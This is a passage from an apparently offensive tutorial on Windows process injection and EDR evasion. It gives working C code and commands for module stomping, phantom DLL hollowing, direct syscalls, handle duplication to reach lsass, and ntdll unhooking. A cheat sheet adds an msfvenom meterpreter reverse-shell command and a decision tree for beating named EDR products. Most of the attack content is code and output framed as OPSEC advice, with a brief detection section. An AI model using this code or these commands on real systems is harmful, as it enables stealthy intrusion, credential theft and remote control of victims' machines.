printf("[+] Stomped %s .text @ 0x%llx\n", stompeeDll, (ULONG64)textSection);
// Step 5: Restore RX
VirtualProtectEx(hProc, (LPVOID)textSection, scLen,
PAGE_EXECUTE_READ, &old);
// Step 6: Execute via remote thread pointing INTO the DLL's mapped memory
HANDLE hThread = CreateRemoteThread(hProc, NULL, 0,
(LPTHREAD_START_ROUTINE)textSection,
NULL, 0, NULL);
if (hThread) {
printf("[+] Remote thread executing from DLL mapping\n");
WaitForSingleObject(hThread, 3000);
CloseHandle(hThread);
}
CloseHandle(hProc);
return TRUE;
}
[OPSEC] Module stomping evades memory scanners that look for executable memory not backed by a file on disk. It's defeated by scanners that compare file-backed memory against the actual file contents (known as "module integrity checking").
18. Phantom DLL Hollowing
What it means: A combination of module stomping and hollowing. Load a DLL that never runs (e.g., a rarely-called DLL), hollow its .text section, write shellcode, and execute. The shellcode executes from a memory address that appears to belong to a valid, signed Microsoft DLL.
18.1 Key APIs & Flow
// Phantom DLL Hollowing — key concepts
// Step 1: Find a DLL that:
// - Is present on the system
// - Is NOT already loaded in target
// - Has enough .text section space for shellcode
// - Ideally: signed Microsoft DLL, rarely used
// Good candidates:
// xpsservices.dll (~1.7MB — large .text)
// msrle32.dll (~130KB)
// msvidc32.dll (~100KB)
// Step 2: Load it into your own process to map/read headers
HMODULE hStompee = LoadLibraryExA("xpsservices.dll", NULL,
DONT_RESOLVE_DLL_REFERENCES);
// DONT_RESOLVE_DLL_REFERENCES = load without executing DllMain
// Step 3: Parse .text section in your local copy
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)hStompee;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((ULONG_PTR)pDos + pDos->e_lfanew);
PIMAGE_SECTION_HEADER pSec = IMAGE_FIRST_SECTION(pNt);
ULONG_PTR textRVA = 0;
SIZE_T textSize = 0;
for (WORD i = 0; i < pNt->FileHeader.NumberOfSections; i++) {
if (memcmp(pSec[i].Name, ".text", 5) == 0) {
textRVA = pSec[i].VirtualAddress;
textSize = pSec[i].Misc.VirtualSize;
break;
}
}
ULONG_PTR localTextBase = (ULONG_PTR)hStompee + textRVA;
// Step 4: Write shellcode into local .text, then copy whole DLL to remote
// (Target sees the DLL with shellcode already baked in)
DWORD old;
VirtualProtect((LPVOID)localTextBase, shellcodeLen, PAGE_READWRITE, &old);
memcpy((void*)localTextBase, shellcode, shellcodeLen);
VirtualProtect((LPVOID)localTextBase, shellcodeLen, PAGE_EXECUTE_READ, &old);
// Then inject this modified mapping into target process...
19. NTDLL Direct Syscall Injection
What it means: Instead of calling Win32 APIs (which EDR hooks in userland), you invoke the Windows kernel directly via syscall stubs. By implementing your own syscall dispatcher, you bypass all user-mode hooks that EDR places on ntdll.dll.
19.1 How User-Mode Hooks Work (What We're Bypassing)
Normal API call (hooked by EDR):
──────────────────────────────────────────────────
Your Code → NtAllocateVirtualMemory (ntdll.dll)
│
└─ [EDR HOOK] JMP → EDR.dll!ScanAndDecide()
│
[EDR scans params]
│
EDR.dll → NtAllocateVirtualMemory
│
syscall → kernel
Direct Syscall (bypasses EDR hook entirely):
──────────────────────────────────────────────────
Your Code → custom_syscall_stub (your own asm)
│
└─ mov r10, rcx ; syscall calling convention
mov eax, <SSN> ; System Service Number
syscall ; Direct kernel entry — no ntdll hook!
│
kernel → execute
19.2 Syscall Stub Implementation (x64 Assembly + C)
// syscall_inject.c — Direct syscall injection bypassing NTDLL hooks
// Uses inline assembly (MSVC intrinsics) or .asm file for syscall stubs
#include <windows.h>
#include <stdio.h>
// SSNs (System Service Numbers) — these change per Windows version!
// Must be resolved dynamically at runtime (see §19.3)
// Hardcoded examples for Windows 10 21H2 x64:
#define SSN_NtAllocateVirtualMemory 0x0018
#define SSN_NtWriteVirtualMemory 0x003A
#define SSN_NtCreateThreadEx 0x00C1
#define SSN_NtProtectVirtualMemory 0x0050
// ─── Syscall stubs (x64 assembly) ────────────────────────────
// In MASM (.asm file) linked with the project:
/*
NtAllocateVirtualMemory PROC
mov r10, rcx
mov eax, 18h ; SSN (change per OS version)
syscall
ret
NtAllocateVirtualMemory ENDP
NtWriteVirtualMemory PROC
mov r10, rcx
mov eax, 3Ah
syscall
ret
NtWriteVirtualMemory ENDP
*/
// ─── Alternative: HellsGate / SysWhispers pattern ────────────
// Dynamically read SSN from NTDLL at runtime (reads syscall stub bytes)
DWORD GetSyscallNumber(const char* funcName) {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
PVOID pFunc = GetProcAddress(hNtdll, funcName);
if (!pFunc) return 0;
// Read the syscall stub:
// mov r10, rcx → 4C 8B D1
// mov eax, XXXX → B8 XX XX 00 00
// syscall → 0F 05
// ret → C3
PBYTE pb = (PBYTE)pFunc;
// If ntdll is NOT hooked: bytes at offset 4 are the SSN
if (pb[0] == 0x4C && pb[1] == 0x8B && pb[2] == 0xD1 &&
pb[3] == 0xB8) {
DWORD ssn = *(DWORD*)(pb + 4);
printf("[+] %s SSN: 0x%04lx\n", funcName, ssn);
return ssn;
}
// If hooked (JMP at byte 0): use Hell's Gate — scan neighboring stubs
// Look for the nearest unhooked syscall stub to extract SSN
// (advanced — see SysWhispers3 implementation)
printf("[!] %s appears hooked — use neighbor scanning\n", funcName);
return 0;
}
int main() {
// Resolve SSNs at runtime
DWORD ssnAlloc = GetSyscallNumber("NtAllocateVirtualMemory");
DWORD ssnWrite = GetSyscallNumber("NtWriteVirtualMemory");
DWORD ssnProtect = GetSyscallNumber("NtProtectVirtualMemory");
DWORD ssnThread = GetSyscallNumber("NtCreateThreadEx");
printf("[*] Dynamic SSN Resolution:\n");
printf(" NtAllocateVirtualMemory : 0x%04lx\n", ssnAlloc);
printf(" NtWriteVirtualMemory : 0x%04lx\n", ssnWrite);
printf(" NtProtectVirtualMemory : 0x%04lx\n", ssnProtect);
printf(" NtCreateThreadEx : 0x%04lx\n", ssnThread);
// Use SysWhispers2/3 generated headers for the actual injection
// (generates .h + .asm with correct stubs for current OS)
return 0;
}
19.3 SysWhispers — Automated SSN Resolution
# SysWhispers3 — auto-generate syscall stubs for any Windows version
# https://github.com/klezVirus/SysWhispers3
# Install
git clone https://github.com/klezVirus/SysWhispers3
cd SysWhispers3
pip install -r requirements.txt
# Generate stubs for specific functions
python syswhispers.py \
--functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx,NtProtectVirtualMemory \
--out-file syscalls \
--arch x64 \
--compiler msvc
# Output: syscalls.h + syscalls.asm
# Include in project:
# - Add syscalls.asm to project (MASM)
# - #include "syscalls.h"
# - Replace Win32 API calls with Nt* variants from the header
# Compile with generated files
cl.exe inject.c syscalls.asm /Fe:inject.exe /link
# Alternative: SysWhispers2 (older, simpler)
git clone https://github.com/jthuraisamy/SysWhispers2
python syswhispers.py -p all -o syscalls
[OPSEC] Direct syscalls bypass user-mode hooks but NOT kernel callbacks. ETW (Microsoft-Windows-Threat-Intelligence) still fires kernel events for NtCreateThreadEx and NtAllocateVirtualMemory regardless of how the syscall was invoked.
20. Handle Enumeration & Handle Duplication Injection
What it means: Rather than opening a new handle to a target process (triggering NtOpenProcess alerts), find a process that already has a handle to the target, then duplicate that handle into your own process. No NtOpenProcess call needed — stealthy.
20.1 How It Works
Handle Duplication Attack:
──────────────────────────────────────────────────────────
Normal: Your process → NtOpenProcess(target PID) → handle
[EDR: NtOpenProcess hook fires — who just opened lsass?]
Duplication:
Step 1: NtQuerySystemInformation(SystemHandleInformation)
→ Find ALL open handles across ALL processes
→ Look for: handle to target process (e.g., lsass.exe)
Step 2: Identify which process P holds that handle
(e.g., "services.exe has handle 0x1F0 to lsass.exe")
Step 3: OpenProcess(PROCESS_DUP_HANDLE, ..., services.exe PID)
[Lower suspicion — opening services, not lsass]
Step 4: DuplicateHandle(services.exe_handle, target_handle,
GetCurrentProcess(), &newHandle, ...)
→ newHandle now points to lsass.exe in YOUR process
→ No NtOpenProcess(lsass) ever called
20.2 C Implementation — Handle Duplication
// handle_dup.c — Duplicate an existing handle to a target process
#include <windows.h>
#include <stdio.h>
// SYSTEM_HANDLE_INFORMATION structures (from ntdll internals)
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {
USHORT UniqueProcessId;
USHORT CreatorBackTraceIndex;
UCHAR ObjectTypeIndex;
UCHAR HandleAttributes;
USHORT HandleValue;
PVOID Object;
ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO;
typedef struct _SYSTEM_HANDLE_INFORMATION {
ULONG NumberOfHandles;
SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION;
#define SystemHandleInformation 0x10
HANDLE DuplicateTargetHandle(DWORD targetPid, DWORD desiredAccess) {
typedef NTSTATUS(NTAPI* pNtQSI)(ULONG, PVOID, ULONG, PULONG);
pNtQSI NtQSI = (pNtQSI)GetProcAddress(
GetModuleHandleA("ntdll.dll"), "NtQuerySystemInformation");
ULONG bufSize = 0x100000;
PVOID pBuf = NULL;
NTSTATUS st;
do {
pBuf = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, bufSize);
st = NtQSI(SystemHandleInformation, pBuf, bufSize, &bufSize);
if (st == 0xC0000004L) { // STATUS_INFO_LENGTH_MISMATCH
HeapFree(GetProcessHeap(), 0, pBuf);
bufSize *= 2;
pBuf = NULL;
}
} while (st == 0xC0000004L);
if (st != 0) { printf("[-] NtQSI failed\n"); return NULL; }
SYSTEM_HANDLE_INFORMATION* pHI = (SYSTEM_HANDLE_INFORMATION*)pBuf;
for (ULONG i = 0; i < pHI->NumberOfHandles; i++) {
SYSTEM_HANDLE_TABLE_ENTRY_INFO* e = &pHI->Handles[i];
// Filter: look for handles with PROCESS_ALL_ACCESS or similar
// that point to our target PID
// (Type check: object type 0x07 = Process on most Windows versions)
if (e->ObjectTypeIndex != 7) continue; // Not a process handle
// Open the process that HOLDS the handle
HANDLE hHolder = OpenProcess(PROCESS_DUP_HANDLE, FALSE,
e->UniqueProcessId);
if (!hHolder) continue;
// Try to duplicate the handle
HANDLE hDup = NULL;
BOOL ok = DuplicateHandle(
hHolder,
(HANDLE)(ULONG_PTR)e->HandleValue,
GetCurrentProcess(),
&hDup,
desiredAccess,
FALSE,
0);
CloseHandle(hHolder);
if (!ok || !hDup) continue;
// Verify this duplicated handle points to our target PID
if (GetProcessId(hDup) == targetPid) {
printf("[+] Found handle to PID %lu via PID %lu (handle 0x%04x)\n",
targetPid, e->UniqueProcessId, e->HandleValue);
HeapFree(GetProcessHeap(), 0, pBuf);
return hDup;
}
CloseHandle(hDup);
}
HeapFree(GetProcessHeap(), 0, pBuf);
printf("[-] No suitable handle found for PID %lu\n", targetPid);
return NULL;
}
int main() {
// Get handle to lsass (PID 4 in example) without calling OpenProcess(lsass)
DWORD lsassPid = 4; // Replace with actual lsass PID from enumeration
HANDLE hLsass = DuplicateTargetHandle(lsassPid,
PROCESS_VM_READ | PROCESS_QUERY_INFORMATION);
if (hLsass) {
printf("[+] Got handle to lsass: 0x%p\n", hLsass);
// Proceed with ReadProcessMemory, injection, etc.
CloseHandle(hLsass);
}
return 0;
}
[OPSEC] Handle duplication is used heavily in credential-dumping tools (Mimikatz alternatives) to access lsass without directly calling OpenProcess(lsass). It generates NtQuerySystemInformation calls (noisy) and DuplicateHandle syscalls.
21. Tools Reference
Enumeration Tools
| Tool | Purpose | URL |
|---|---|---|
| Process Hacker | GUI process inspector, handles, DLLs, threads | https://processhacker.sourceforge.io |
| Process Explorer | Sysinternals — deep process tree + DLL view | https://learn.microsoft.com/sysinternals |
| Process Monitor | Real-time API call logging per process | https://learn.microsoft.com/sysinternals |
| ListDLLs | List all DLLs loaded in processes | Sysinternals |
| Handle | List open handles across all processes | Sysinternals |
| pslist | Command-line process lister (Sysinternals) | Sysinternals |
| ThreatCheck | Find AV-triggering bytes in your injector | https://github.com/rasta-mouse/ThreatCheck |
Injection Frameworks & PoCs
| Tool | Technique | URL |
|---|---|---|
| SharpInjector | C# — classic injection framework | GitHub |
| Donut | PE/shellcode generation + injection | https://github.com/TheWover/donut |
| Pinjectra | Multiple injection techniques library | https://github.com/SafeBreach-Labs/pinjectra |
| SysWhispers2/3 | Direct syscall stub generator | https://github.com/klezVirus/SysWhispers3 |
| Hells Gate | Dynamic SSN resolution | https://github.com/am0nsec/HellsGate |
| Tartarus Gate | SSN via syscall from disk | https://github.com/trickster0/TartarusGate |
| Shellcode Reflective DLL Injection | sRDI — convert DLL to shellcode | https://github.com/monoxgas/sRDI |
| Cobalt Strike | Commercial C2 with injection primitives | (commercial) |
| Havoc | Open C2 — process injection modules | https://github.com/HavocFramework/Havoc |
PowerShell Tooling
# PowerSploit / PowerShellMafia — Invoke-ReflectivePEInjection
Import-Module .\PowerSploit\CodeExecution\Invoke-ReflectivePEInjection.ps1
Invoke-ReflectivePEInjection -PEPath .\payload.dll -ProcId 1234
# Get all process handles (requires admin)
Get-Process | Select-Object Id, Name, Handles, MainWindowTitle
# Find processes with network connections
Get-NetTCPConnection | ForEach-Object {
$proc = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[PSCustomObject]@{
PID = $_.OwningProcess
Name = $proc.Name
LocalPort = $_.LocalPort
RemoteAddr = $_.RemoteAddress
State = $_.State
}
} | Sort-Object PID | Format-Table
Useful Commands
:: List all running processes (basic)
tasklist
:: List with full path and PID
tasklist /v /fo csv
:: Detailed process + module info
wmic process get Name,ProcessId,ParentProcessId,ExecutablePath,CommandLine
:: Find specific process
tasklist | findstr /i "svchost"
:: Kill process by PID
taskkill /PID 1234 /F
:: Process list with integrity levels (Sysinternals)
pslist -x
:: List DLLs in a process
listdlls 1234
:: Open handles in a process
handle -p 1234
22. Detection & Evasion
22.1 Common Detection Patterns
EDR / AV Detection Strategies for Process Injection:
1. API Sequence Detection
├─ Alert: OpenProcess → VirtualAllocEx(RWX) → WriteProcessMemory → CreateRemoteThread
├─ Alert: OpenProcess → WriteProcessMemory → CreateRemoteThread (DLL inject pattern)
└─ Alert: OpenProcess(PROCESS_ALL_ACCESS) on SYSTEM processes from user process
2. Memory Anomaly Detection
├─ Executable memory not backed by a file on disk (classic shellcode)
├─ RWX pages in a process (PAGE_EXECUTE_READWRITE)
├─ MZ header in executable heap allocation
└─ Mismatched module hash (file on disk ≠ in-memory image)
3. Behavioral / Heuristic
├─ Process spawning then immediately doing OpenProcess
├─ Rapid process enumeration (many NtOpenProcess in a loop)
├─ Thread created with no corresponding image module
└─ SuspendThread + SetThreadContext + ResumeThread pattern
4. Kernel / ETW
├─ Microsoft-Windows-Threat-Intelligence ETW provider
├─ KERNEL_THREATINT_TASK_ALLOCVM_REMOTE event
├─ KERNEL_THREATINT_TASK_WRITEVM_REMOTE event
└─ KERNEL_THREATINT_TASK_SETTHREADCONTEXT event
22.2 Evasion Techniques
Evasion Strategies per Detection Vector:
RWX Memory → Detected
├─ Fix: RW → Write → VirtualProtectEx(RX) — two-step, avoids RWX
└─ Fix: Module Stomping — reuse existing RX module pages
CreateRemoteThread → Detected
├─ Fix: QueueUserAPC (APC injection — no new thread)
├─ Fix: Thread Hijacking (SetThreadContext on existing thread)
└─ Fix: NtCreateThreadEx (lower-level but still monitored)
User-mode API hooks → Detected
├─ Fix: Direct Syscalls (SysWhispers) — bypass NTDLL hooks entirely
└─ Fix: Fresh NTDLL map — map ntdll.dll from disk into your process
(EDR hooks in-memory ntdll, clean disk copy has no hooks)
OpenProcess(PROCESS_ALL_ACCESS) → Detected
├─ Fix: Request minimum rights only
├─ Fix: Handle Duplication — don't call OpenProcess on the target at all
└─ Fix: Use PROCESS_DUP_HANDLE on a third process + DuplicateHandle
Process Enumeration → Detected
├─ Fix: NtQuerySystemInformation over Toolhelp32 (less monitored)
└─ Fix: WMI enumeration (different code path, less baselining)
22.3 Fresh NTDLL Mapping (Unhooking)
// Load a clean copy of ntdll.dll from disk, bypassing EDR's in-memory hooks
// EDR hooks live in the loaded-in-memory ntdll — disk copy is clean
#include <windows.h>
#include <stdio.h>
BOOL UnhookNtdll() {
// Step 1: Open ntdll.dll on disk
HANDLE hFile = CreateFileA("C:\\Windows\\System32\\ntdll.dll",
GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE) return FALSE;
// Step 2: Create file mapping
HANDLE hMap = CreateFileMappingA(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
if (!hMap) { CloseHandle(hFile); return FALSE; }
// Step 3: Map into memory
LPVOID pFreshNtdll = MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0);
if (!pFreshNtdll) {
CloseHandle(hMap); CloseHandle(hFile);
return FALSE;
}
// Step 4: Get current (hooked) ntdll base
HMODULE hHookedNtdll = GetModuleHandleA("ntdll.dll");
// Step 5: Parse .text section of fresh ntdll
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pFreshNtdll;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)
((ULONG_PTR)pFreshNtdll + pDos->e_lfanew);
PIMAGE_SECTION_HEADER pSec = IMAGE_FIRST_SECTION(pNt);
for (WORD i = 0; i < pNt->FileHeader.NumberOfSections; i++) {
if (memcmp(pSec[i].Name, ".text", 5) == 0) {
// Step 6: Overwrite in-memory .text with clean disk bytes
LPVOID dest = (LPVOID)((ULONG_PTR)hHookedNtdll + pSec[i].VirtualAddress);
LPVOID src = (LPVOID)((ULONG_PTR)pFreshNtdll + pSec[i].VirtualAddress);
SIZE_T size = pSec[i].Misc.VirtualSize;
DWORD old;
VirtualProtect(dest, size, PAGE_EXECUTE_READWRITE, &old);
memcpy(dest, src, size);
VirtualProtect(dest, size, old, &old);
printf("[+] ntdll .text section restored from disk (%zu bytes)\n", size);
break;
}
}
UnmapViewOfFile(pFreshNtdll);
CloseHandle(hMap);
CloseHandle(hFile);
return TRUE;
}
[DETECT] Overwriting ntdll's .text section is itself a major behavioral IOC. EDRs with kernel protection can detect when their hooks are removed. Use this only in combination with other evasion.
23. Comparison Matrix
| Technique | Complexity | Creates Remote Thread | EDR Hook Bypass | Stealth | Stability | Notes |
|---|---|---|---|---|---|---|
| Classic Inject | Low | Yes | No | Low | High | Most detected, best to learn from |
| DLL Injection | Low | Yes | No | Low | High | LoadLibraryA pattern well-known |
| Process Hollowing | High | Via resume | Partial | Medium | Medium | Breaks on ASLR without reloc fixup |
| Thread Hijacking | Medium | No | No | Medium | Low | May crash target if hijacked thread is critical |
| APC Injection | Medium | No | No | Medium | Medium | Only fires if thread enters alertable wait |
| Early Bird APC | Medium | No | High | High | High | Best for spawned target processes |
| Module Stomping | High | Yes | Medium | High | Medium | Evades non-backed memory detection |
| Phantom DLL Hollow | High | Yes | High | Very High | Medium | Requires large enough DLL .text |
| Doppelgänging | Very High | Yes | High | High | Low | Largely patched on modern Windows |
| Direct Syscalls | High | Optional | Very High | High | High | Still visible via kernel ETW |
| Handle Duplication | High | No | Medium | High | High | No OpenProcess on real target |
24. Cheat Sheet
Quick Workflow — Enumerate → Select → Inject
# Step 1: Enumerate (PowerShell)
Get-CimInstance -ClassName Win32_Process |
Select-Object ProcessId, ParentProcessId, Name |
Sort-Object ProcessId | Format-Table -AutoSize
# Step 2: Verify architecture
Get-Process -Id 1234 | Select-Object Id, Name
# 32-bit vs 64-bit: check via IsWow64Process in C or:
(Get-Process -Id 1234).StartInfo.EnvironmentVariables["PROCESSOR_ARCHITECTURE"]
# Step 3: Check integrity level (requires SysInternals or custom)
# With Process Hacker: right-click process → Properties → Security
# Step 4: Generate shellcode
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 -f c -o shellcode.h
# Step 5: Pick technique based on environment
# EDR present? → Early Bird APC + Direct Syscalls
# No EDR? → Classic inject or DLL inject
# Need stealth? → Module Stomping + Handle Dup
# Step 6: Compile injector
cl.exe injector.c /Fe:injector.exe # MSVC
x86_64-w64-mingw32-gcc injector.c -o injector.exe -lntdll # MinGW cross-compile
# Step 7: Run
.\injector.exe 1234 # PID of target
Process Enumeration One-Liners
# All processes + owners
Get-CimInstance Win32_Process | % { $o=$_.GetOwner(); "$($_.ProcessId)`t$($_.Name)`t$($o.Domain)\$($o.User)" }
# Find processes with open TCP connections
Get-NetTCPConnection -State Established | Select OwningProcess,LocalPort,RemoteAddress | Sort OwningProcess
# Specific process info
Get-Process chrome | Select Id,Name,Path,CPU,WorkingSet
# Kill by name
Stop-Process -Name notepad -Force
:: WMIC — detailed process list
wmic process get ProcessId,ParentProcessId,Name,ExecutablePath,CommandLine /format:csv
:: Find svchost instances with parameters
wmic process where "name='svchost.exe'" get ProcessId,CommandLine
:: Netstat with PIDs
netstat -ano
:: Map PID to process
tasklist /FI "PID eq 1234"
Injection Decision Tree
Planning a process injection?
│
├─ What is your goal?
│ ├─ Persistence in user session → explorer.exe (classic or APC)
│ ├─ Persistence across sessions → svchost.exe (Early Bird or APC)
│ └─ Privilege escalation context → find SYSTEM process (handle dup)
│
├─ EDR present?
│ ├─ CrowdStrike / SentinelOne → Direct Syscalls + Module Stomping
│ ├─ Windows Defender only → APC or Early Bird
│ └─ None → Classic inject or DLL inject
│
├─ Need to avoid NtOpenProcess alert?
│ └─ Yes → Handle Duplication (no direct OpenProcess on target)
│
├─ Target spawned by you or existing?
│ ├─ Spawned by you (controlled) → Early Bird APC
│ └─ Existing process → APC Injection or Thread Hijacking
│
├─ Memory scanner present?
│ ├─ Yes → Module Stomping or Phantom DLL Hollowing
│ └─ No → Classic inject with RW→RX
│
└─ OPSEC requirement?
├─ High → Module Stomp + Direct Syscalls + Handle Dup
├─ Medium → Early Bird APC + RW→RX
└─ Low (lab/CTF) → Classic VirtualAllocEx + CreateRemoteThread
Windows API Quick Reference
Process Management:
CreateProcess → Spawn new process (optionally suspended)
OpenProcess → Get handle to existing process
TerminateProcess → Kill process
GetCurrentProcess → Handle to own process
GetProcessId → PID from handle
Memory Operations:
VirtualAllocEx → Alloc memory in remote process
VirtualFreeEx → Free memory in remote process
WriteProcessMemory → Write bytes to remote process
ReadProcessMemory → Read bytes from remote process
VirtualProtectEx → Change page permissions in remote process
Thread Management:
CreateRemoteThread → New thread in remote process
OpenThread → Get handle to existing thread
SuspendThread → Pause a thread
ResumeThread → Continue a thread
GetThreadContext → Get CPU register state
SetThreadContext → Set CPU register state
QueueUserAPC → Queue APC to a thread
NtCreateThreadEx → Lower-level CreateRemoteThread (ntdll)
Enumeration:
CreateToolhelp32Snapshot → Snapshot of processes/threads/modules
Process32First/Next → Walk process snapshot
Thread32First/Next → Walk thread snapshot
Module32First/Next → Walk module snapshot
EnumProcesses → Array of all PIDs (PSAPI)
NtQuerySystemInformation → Native system/process info
DuplicateHandle → Clone a handle into another process
Utility:
IsWow64Process → Check if process is 32-bit on 64-bit OS
OpenProcessToken → Get token from process
AdjustTokenPrivileges → Enable/disable token privileges
LookupPrivilegeValue → Get LUID for privilege name
GetModuleHandle → Get base of loaded module
GetProcAddress → Resolve function address in module
References & Tools
Injection Frameworks: - SysWhispers3 — https://github.com/klezVirus/SysWhispers3 (direct syscall generation) - Hells Gate — https://github.com/am0nsec/HellsGate (SSN resolution) - Donut — https://github.com/TheWover/donut (shellcode from PE) - sRDI — https://github.com/monoxgas/sRDI (reflective DLL injection) - Pinjectra — https://github.com/SafeBreach-Labs/pinjectra (multi-technique)
Analysis & Detection: - Process Hacker — https://processhacker.sourceforge.io - ThreatCheck — https://github.com/rasta-mouse/ThreatCheck - pe-sieve — https://github.com/hasherezade/pe-sieve (detect injected code) - Moneta — https://github.com/forrest-orr/moneta (live memory anomaly scanner)
Learning & Research: - Red Team Notes — https://www.ired.team (process injection catalog) - Sektor7 MalDev Courses — https://institute.sektor7.net - VX-Underground — shellcode & injection paper archive - Windows Internals (book) — Mark Russinovich et al. - MSDN: Process Security and Access Rights — https://docs.microsoft.com/windows/win32/procthread/process-security-and-access-rights - ETW Threat Intelligence Provider — https://bmcder.com/blog/a-begginers-all-inclusive-guide-to-etw